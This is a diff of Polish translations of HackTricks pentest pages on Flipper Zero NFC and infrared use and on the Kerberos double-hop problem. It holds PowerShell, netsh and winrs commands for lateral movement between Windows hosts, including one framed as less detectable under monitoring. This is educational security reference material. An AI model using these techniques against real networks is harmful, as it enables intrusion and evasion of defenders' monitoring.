* **Wysokie bezpieczeństwo** - bezstykowe karty o wysokiej częstotliwości nie ustępują w żaden sposób kartom inteligentnym. Istnieją karty, które obsługują silne algorytmy kryptograficzne, takie jak AES, i implementują kryptografię asymetryczną.
|
||||
* **Niski zasięg** — karty wysokiej częstotliwości są specjalnie zaprojektowane tak, aby musiały być umieszczane blisko czytnika. Pomaga to również chronić kartę przed nieautoryzowanymi interakcjami. Maksymalny zasięg odczytu, który udało nam się osiągnąć, wynosił około 15 cm, a to było z niestandardowymi czytnikami o dużym zasięgu.
|
||||
* **Zaawansowane protokoły** — prędkości transferu danych do 424 kbps pozwalają na złożone protokoły z pełnoprawnym dwukierunkowym transferem danych. Co z kolei **umożliwia kryptografię**, transfer danych itp.
|
||||
* **Wysokie bezpieczeństwo** — karty bezkontaktowe o wysokiej częstotliwości w żaden sposób nie ustępują kartom inteligentnym. Istnieją karty, które obsługują kryptograficznie silne algorytmy, takie jak AES, i wdrażają kryptografię asymetryczną.
|
||||
|
||||
### Atak
|
||||
|
||||
|
@ -83,24 +99,27 @@ Możesz **zaatakować te tagi za pomocą Flipper Zero**:
|
|||
[fz-nfc.md](../todo/radio-hacking/flipper-zero/fz-nfc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Lub używając **proxmarka**:
|
||||
Lub używając **proxmark**:
|
||||
|
||||
{% content-ref url="../todo/radio-hacking/proxmark-3.md" %}
|
||||
[proxmark-3.md](../todo/radio-hacking/proxmark-3.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Odwołania
|
||||
## Referencje
|
||||
|
||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do repozytorium** [**hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# FZ - Podczerwień
|
||||
# FZ - Infrared
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Wprowadzenie <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
|
||||
|
@ -20,29 +23,44 @@ Aby uzyskać więcej informacji na temat działania podczerwieni, sprawdź:
|
|||
[infrared.md](../infrared.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Odbiornik sygnału podczerwieni w Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
## Odbiornik sygnału IR w Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
|
||||
Flipper używa cyfrowego odbiornika sygnału podczerwieni TSOP, który **pozwala przechwytywać sygnały z pilotów podczerwieni**. Istnieją **smartfony** takie jak Xiaomi, które również posiadają port podczerwieni, ale pamiętaj, że **większość z nich może tylko transmitować** sygnały i nie jest w stanie ich **odbierać**.
|
||||
Flipper używa cyfrowego odbiornika sygnału IR TSOP, który **pozwala na przechwytywanie sygnałów z pilotów IR**. Istnieją niektóre **smartfony** jak Xiaomi, które również mają port IR, ale pamiętaj, że **większość z nich może tylko przesyłać** sygnały i jest **niezdolna do ich odbierania**.
|
||||
|
||||
Odbiornik podczerwieni Flippera jest dość **czuły**. Możesz nawet **przechwycić sygnał**, pozostając **gdzieś pomiędzy** pilotem a telewizorem. Skierowanie pilota bezpośrednio na port podczerwieni Flippera jest zbędne. Jest to przydatne, gdy ktoś zmienia kanały, stojąc blisko telewizora, a zarówno ty, jak i Flipper jesteście w pewnej odległości.
|
||||
Odbiornik podczerwieni Flippera **jest dość czuły**. Możesz nawet **złapać sygnał**, pozostając **gdzieś pomiędzy** pilotem a telewizorem. Nie ma potrzeby, aby celować pilotem bezpośrednio w port IR Flippera. To jest przydatne, gdy ktoś zmienia kanały, stojąc blisko telewizora, a zarówno ty, jak i Flipper jesteście w pewnej odległości.
|
||||
|
||||
Ponieważ **dekodowanie sygnału podczerwieni** odbywa się po **stronie oprogramowania**, Flipper Zero potencjalnie obsługuje **odbieranie i przesyłanie dowolnych kodów pilota podczerwieni**. W przypadku **nieznanych** protokołów, które nie mogły zostać rozpoznane - **zapisuje i odtwarza** surowy sygnał dokładnie tak, jak został odebrany.
|
||||
Ponieważ **dekodowanie sygnału podczerwieni** odbywa się po stronie **oprogramowania**, Flipper Zero potencjalnie wspiera **odbiór i transmisję dowolnych kodów pilotów IR**. W przypadku **nieznanych** protokołów, które nie mogły zostać rozpoznane - **nagrywa i odtwarza** surowy sygnał dokładnie tak, jak został odebrany.
|
||||
|
||||
## Działania
|
||||
## Akcje
|
||||
|
||||
### Uniwersalne piloty
|
||||
|
||||
Flipper Zero może być używany jako **uniwersalny pilot do sterowania dowolnym telewizorem, klimatyzatorem lub centrum multimedialnym**. W tym trybie Flipper **przeprowadza atak brutalny** na wszystkie **znane kody** wszystkich obsługiwanych producentów **zgodnie z słownikiem z karty SD**. Nie musisz wybierać konkretnego pilota, aby wyłączyć telewizor w restauracji.
|
||||
Flipper Zero może być używany jako **uniwersalny pilot do sterowania dowolnym telewizorem, klimatyzatorem lub centrum multimedialnym**. W tym trybie Flipper **bruteforcuje** wszystkie **znane kody** wszystkich wspieranych producentów **zgodnie ze słownikiem z karty SD**. Nie musisz wybierać konkretnego pilota, aby wyłączyć telewizor w restauracji.
|
||||
|
||||
Wystarczy nacisnąć przycisk zasilania w trybie Uniwersalnego Pilota, a Flipper będzie **kolejno wysyłał polecenia "Wyłącz"** wszystkich znanych mu telewizorów: Sony, Samsung, Panasonic... i tak dalej. Gdy telewizor odbierze sygnał, zareaguje i się wyłączy.
|
||||
Wystarczy nacisnąć przycisk zasilania w trybie Uniwersalnego Pilota, a Flipper **sekwencyjnie wyśle komendy "Power Off"** do wszystkich telewizorów, które zna: Sony, Samsung, Panasonic... i tak dalej. Gdy telewizor odbierze swój sygnał, zareaguje i wyłączy się.
|
||||
|
||||
Taki atak brutalny zajmuje czas. Im większy słownik, tym dłużej potrwa zakończenie. Niemożliwe jest ustalenie, który dokładnie sygnał telewizor rozpoznał, ponieważ nie ma informacji zwrotnej od telewizora.
|
||||
Taki brute-force zajmuje czas. Im większy słownik, tym dłużej to potrwa. Niemożliwe jest ustalenie, który sygnał dokładnie telewizor rozpoznał, ponieważ nie ma informacji zwrotnej z telewizora.
|
||||
|
||||
### Nauka nowego pilota
|
||||
|
||||
Możliwe jest **przechwycenie sygnału podczerwieni** za pomocą Flipper Zero. Jeśli **znajdzie sygnał w bazie danych**, Flipper automatycznie **rozpozna, który to urządzenie** i pozwoli ci z nim interweniować.\
|
||||
Jeśli nie, Flipper może **zapisać** **sygnał** i pozwoli ci go **odtworzyć**.
|
||||
Możliwe jest **przechwycenie sygnału podczerwieni** za pomocą Flipper Zero. Jeśli **znajdzie sygnał w bazie danych**, Flipper automatycznie **będzie wiedział, jakie to urządzenie** i pozwoli ci z nim interagować.\
|
||||
Jeśli nie, Flipper może **zapisać** **sygnał** i pozwoli ci **go odtworzyć**.
|
||||
|
||||
## Odnośniki
|
||||
|
||||
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,101 +1,105 @@
|
|||
# Problem podwójnego skoku Kerberos
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakerskiego AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć **reklamę swojej firmy na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Wprowadzenie
|
||||
|
||||
Problem "podwójnego skoku" Kerberos pojawia się, gdy atakujący próbuje użyć **uwierzytelnienia Kerberos w dwóch** **skokach**, na przykład za pomocą **PowerShell**/**WinRM**.
|
||||
Problem "podwójnego skoku" Kerberos pojawia się, gdy atakujący próbuje użyć **uwierzytelniania Kerberos przez dwa** **skoki**, na przykład używając **PowerShell**/**WinRM**.
|
||||
|
||||
Gdy **uwierzytelnienie** zachodzi za pomocą **Kerberos**, **poświadczenia** **nie są** przechowywane w **pamięci**. Dlatego jeśli uruchomisz mimikatz, **nie znajdziesz poświadczeń** użytkownika na maszynie, nawet jeśli uruchamia procesy.
|
||||
Gdy następuje **uwierzytelnienie** przez **Kerberos**, **poświadczenia** **nie są** buforowane w **pamięci.** Dlatego, jeśli uruchomisz mimikatz, **nie znajdziesz poświadczeń** użytkownika na maszynie, nawet jeśli uruchamia on procesy.
|
||||
|
||||
Dzieje się tak, ponieważ podczas łączenia się za pomocą Kerberos zachodzą następujące kroki:
|
||||
Dzieje się tak, ponieważ podczas łączenia się z Kerberos następują następujące kroki:
|
||||
|
||||
1. Użytkownik1 podaje poświadczenia, a **kontroler domeny** zwraca użytkownikowi1 **TGT** Kerberos.
|
||||
2. Użytkownik1 używa **TGT** do żądania **biletu usługi** w celu **połączenia** z Serwerem1.
|
||||
3. Użytkownik1 **łączy się** z **Serwerem1** i dostarcza **bilet usługi**.
|
||||
4. **Serwer1** **nie ma** **przechowywanych poświadczeń** użytkownika1 ani **TGT** użytkownika1. Dlatego gdy Użytkownik1 z Serwera1 próbuje zalogować się na drugi serwer, nie jest **w stanie się uwierzytelnić**.
|
||||
1. Użytkownik1 podaje poświadczenia, a **kontroler domeny** zwraca Kerberos **TGT** do Użytkownika1.
|
||||
2. Użytkownik1 używa **TGT** do zażądania **biletu serwisowego** do **połączenia** z Serwerem1.
|
||||
3. Użytkownik1 **łączy się** z **Serwerem1** i podaje **bilet serwisowy**.
|
||||
4. **Serwer1** **nie ma** **poświadczeń** Użytkownika1 buforowanych ani **TGT** Użytkownika1. Dlatego, gdy Użytkownik1 z Serwera1 próbuje zalogować się do drugiego serwera, **nie może się uwierzytelnić**.
|
||||
|
||||
### Nieograniczone przekazywanie
|
||||
### Nieograniczona delegacja
|
||||
|
||||
Jeśli jest włączone **nieograniczone przekazywanie** na PC, to nie wystąpi ten problem, ponieważ **Serwer** otrzyma **TGT** każdego użytkownika, który się do niego łączy. Ponadto, jeśli jest używane nieograniczone przekazywanie, prawdopodobnie można **skompromitować kontroler domeny** z niego.\
|
||||
[**Więcej informacji na stronie dotyczącej nieograniczonego przekazywania**](unconstrained-delegation.md).
|
||||
Jeśli **nieograniczona delegacja** jest włączona na PC, to się nie zdarzy, ponieważ **Serwer** **otrzyma** **TGT** każdego użytkownika, który się do niego łączy. Co więcej, jeśli używasz nieograniczonej delegacji, prawdopodobnie możesz **skompromentować kontroler domeny** z tego poziomu.\
|
||||
[**Więcej informacji na stronie dotyczącej nieograniczonej delegacji**](unconstrained-delegation.md).
|
||||
|
||||
### CredSSP
|
||||
|
||||
Innym sposobem uniknięcia tego problemu, który jest [**zauważalnie niebezpieczny**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), jest **Dostawca Obsługi Bezpieczeństwa Poświadczeń**. Według Microsoftu:
|
||||
Innym sposobem na uniknięcie tego problemu, który jest [**szczególnie niebezpieczny**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), jest **Credential Security Support Provider**. Z Microsoftu:
|
||||
|
||||
> Uwierzytelnianie CredSSP przekazuje poświadczenia użytkownika z komputera lokalnego do zdalnego komputera. Ta praktyka zwiększa ryzyko bezpieczeństwa operacji zdalnych. Jeśli zdalny komputer zostanie skompromitowany, gdy poświadczenia zostaną do niego przekazane, poświadczenia mogą być użyte do kontrolowania sesji sieciowej.
|
||||
> Uwierzytelnianie CredSSP deleguje poświadczenia użytkownika z lokalnego komputera do zdalnego komputera. Ta praktyka zwiększa ryzyko bezpieczeństwa zdalnej operacji. Jeśli zdalny komputer zostanie skompromitowany, gdy poświadczenia zostaną do niego przekazane, poświadczenia mogą być użyte do kontrolowania sesji sieciowej.
|
||||
|
||||
Zaleca się wyłączenie **CredSSP** na systemach produkcyjnych, wrażliwych sieciach i podobnych środowiskach ze względów bezpieczeństwa. Aby sprawdzić, czy **CredSSP** jest włączone, można uruchomić polecenie `Get-WSManCredSSP`. Polecenie to pozwala na **sprawdzenie stanu CredSSP** i może być nawet wykonane zdalnie, o ile jest włączone **WinRM**.
|
||||
Zaleca się, aby **CredSSP** był wyłączony w systemach produkcyjnych, wrażliwych sieciach i podobnych środowiskach z powodu obaw o bezpieczeństwo. Aby sprawdzić, czy **CredSSP** jest włączony, można uruchomić polecenie `Get-WSManCredSSP`. To polecenie pozwala na **sprawdzenie statusu CredSSP** i może być nawet wykonane zdalnie, pod warunkiem, że **WinRM** jest włączony.
|
||||
```powershell
|
||||
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
||||
Get-WSManCredSSP
|
||||
}
|
||||
```
|
||||
## Metody obejścia
|
||||
## Workarounds
|
||||
|
||||
### Wywołanie polecenia
|
||||
### Invoke Command
|
||||
|
||||
Aby rozwiązać problem podwójnego skoku, przedstawiona jest metoda wykorzystująca zagnieżdżone polecenie `Invoke-Command`. Nie rozwiązuje to problemu bezpośrednio, ale oferuje obejście bez konieczności stosowania specjalnych konfiguracji. Podejście to pozwala na wykonanie polecenia (`hostname`) na drugim serwerze za pomocą polecenia PowerShell wykonanego z początkowego atakującego komputera lub poprzez wcześniej ustanowioną sesję PS-Session z pierwszym serwerem. Oto jak to się robi:
|
||||
Aby rozwiązać problem podwójnego skoku, przedstawiona jest metoda polegająca na zagnieżdżonym `Invoke-Command`. Nie rozwiązuje to problemu bezpośrednio, ale oferuje obejście bez potrzeby specjalnych konfiguracji. Podejście to pozwala na wykonanie polecenia (`hostname`) na drugim serwerze za pomocą polecenia PowerShell wykonanego z początkowej maszyny atakującej lub przez wcześniej ustanowioną sesję PS z pierwszym serwerem. Oto jak to zrobić:
|
||||
```powershell
|
||||
$cred = Get-Credential ta\redsuit
|
||||
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
||||
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
||||
}
|
||||
```
|
||||
Alternatywnie, ustanowienie sesji PS z pierwszym serwerem i uruchomienie polecenia `Invoke-Command` przy użyciu `$cred` jest sugerowane do scentralizowania zadań.
|
||||
Alternatywnie, sugeruje się nawiązanie sesji PS z pierwszym serwerem i uruchomienie `Invoke-Command` z użyciem `$cred` w celu centralizacji zadań.
|
||||
|
||||
### Zarejestruj konfigurację sesji PS
|
||||
### Rejestracja konfiguracji PSSession
|
||||
|
||||
Rozwiązaniem umożliwiającym obejście problemu podwójnego skoku jest użycie `Register-PSSessionConfiguration` z `Enter-PSSession`. Ta metoda wymaga innego podejścia niż `evil-winrm` i pozwala na sesję, która nie cierpi z powodu ograniczenia podwójnego skoku.
|
||||
Rozwiązanie do obejścia problemu podwójnego skoku polega na użyciu `Register-PSSessionConfiguration` z `Enter-PSSession`. Ta metoda wymaga innego podejścia niż `evil-winrm` i pozwala na sesję, która nie cierpi z powodu ograniczenia podwójnego skoku.
|
||||
```powershell
|
||||
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
|
||||
Restart-Service WinRM
|
||||
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
|
||||
klist
|
||||
```
|
||||
### Przekierowywanie portów
|
||||
### PortForwarding
|
||||
|
||||
Dla administratorów lokalnych na docelowym pośrednim serwerze, przekierowywanie portów pozwala na przesyłanie żądań do ostatecznego serwera. Korzystając z `netsh`, można dodać regułę przekierowywania portów, wraz z regułą zapory systemu Windows, aby zezwolić na przekierowany port.
|
||||
Dla lokalnych administratorów na pośrednim celu, przekierowanie portów umożliwia wysyłanie żądań do docelowego serwera. Używając `netsh`, można dodać regułę dla przekierowania portów, obok reguły zapory systemu Windows, aby zezwolić na przekierowany port.
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
||||
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
||||
```
|
||||
#### winrs.exe
|
||||
|
||||
`winrs.exe` może być używany do przekazywania żądań WinRM, potencjalnie jako mniej wykrywalna opcja, jeśli obawiasz się monitorowania PowerShell. Poniższe polecenie demonstruje jego użycie:
|
||||
`winrs.exe` może być używany do przekazywania żądań WinRM, potencjalnie jako mniej wykrywalna opcja, jeśli monitorowanie PowerShell budzi obawy. Poniższe polecenie ilustruje jego użycie:
|
||||
```bash
|
||||
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
||||
```
|
||||
### OpenSSH
|
||||
|
||||
Instalowanie OpenSSH na pierwszym serwerze umożliwia obejście problemu podwójnego skoku, szczególnie przydatne w scenariuszach skrzynki skokowej. Ta metoda wymaga instalacji wiersza poleceń i konfiguracji OpenSSH dla systemu Windows. Po skonfigurowaniu uwierzytelniania hasłem, pozwala to serwerowi pośredniemu na uzyskanie TGT w imieniu użytkownika.
|
||||
Zainstalowanie OpenSSH na pierwszym serwerze umożliwia obejście problemu podwójnego skoku, szczególnie przydatne w scenariuszach z jump box. Ta metoda wymaga instalacji i konfiguracji OpenSSH dla Windows za pomocą CLI. Gdy jest skonfigurowana do uwierzytelniania hasłem, pozwala to serwerowi pośredniczącemu uzyskać TGT w imieniu użytkownika.
|
||||
|
||||
#### Kroki instalacji OpenSSH
|
||||
|
||||
1. Pobierz i przenieś najnowszy plik zip z wydaniem OpenSSH na serwer docelowy.
|
||||
1. Pobierz i przenieś najnowszą wersję OpenSSH w formacie zip na docelowy serwer.
|
||||
2. Rozpakuj i uruchom skrypt `Install-sshd.ps1`.
|
||||
3. Dodaj regułę zapory sieciowej, aby otworzyć port 22 i sprawdź, czy usługi SSH są uruchomione.
|
||||
3. Dodaj regułę zapory, aby otworzyć port 22 i zweryfikuj, czy usługi SSH działają.
|
||||
|
||||
Aby rozwiązać błędy `Connection reset`, uprawnienia mogą wymagać aktualizacji, aby umożliwić wszystkim odczyt i wykonanie dostępu do katalogu OpenSSH.
|
||||
Aby rozwiązać błędy `Connection reset`, może być konieczne zaktualizowanie uprawnień, aby umożliwić wszystkim dostęp do odczytu i wykonania w katalogu OpenSSH.
|
||||
```bash
|
||||
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
||||
```
|
||||
## Odnośniki
|
||||
## References
|
||||
|
||||
* [https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20)
|
||||
* [https://posts.slayerlabs.com/double-hop/](https://posts.slayerlabs.com/double-hop/)
|
||||
|
@ -106,14 +110,17 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
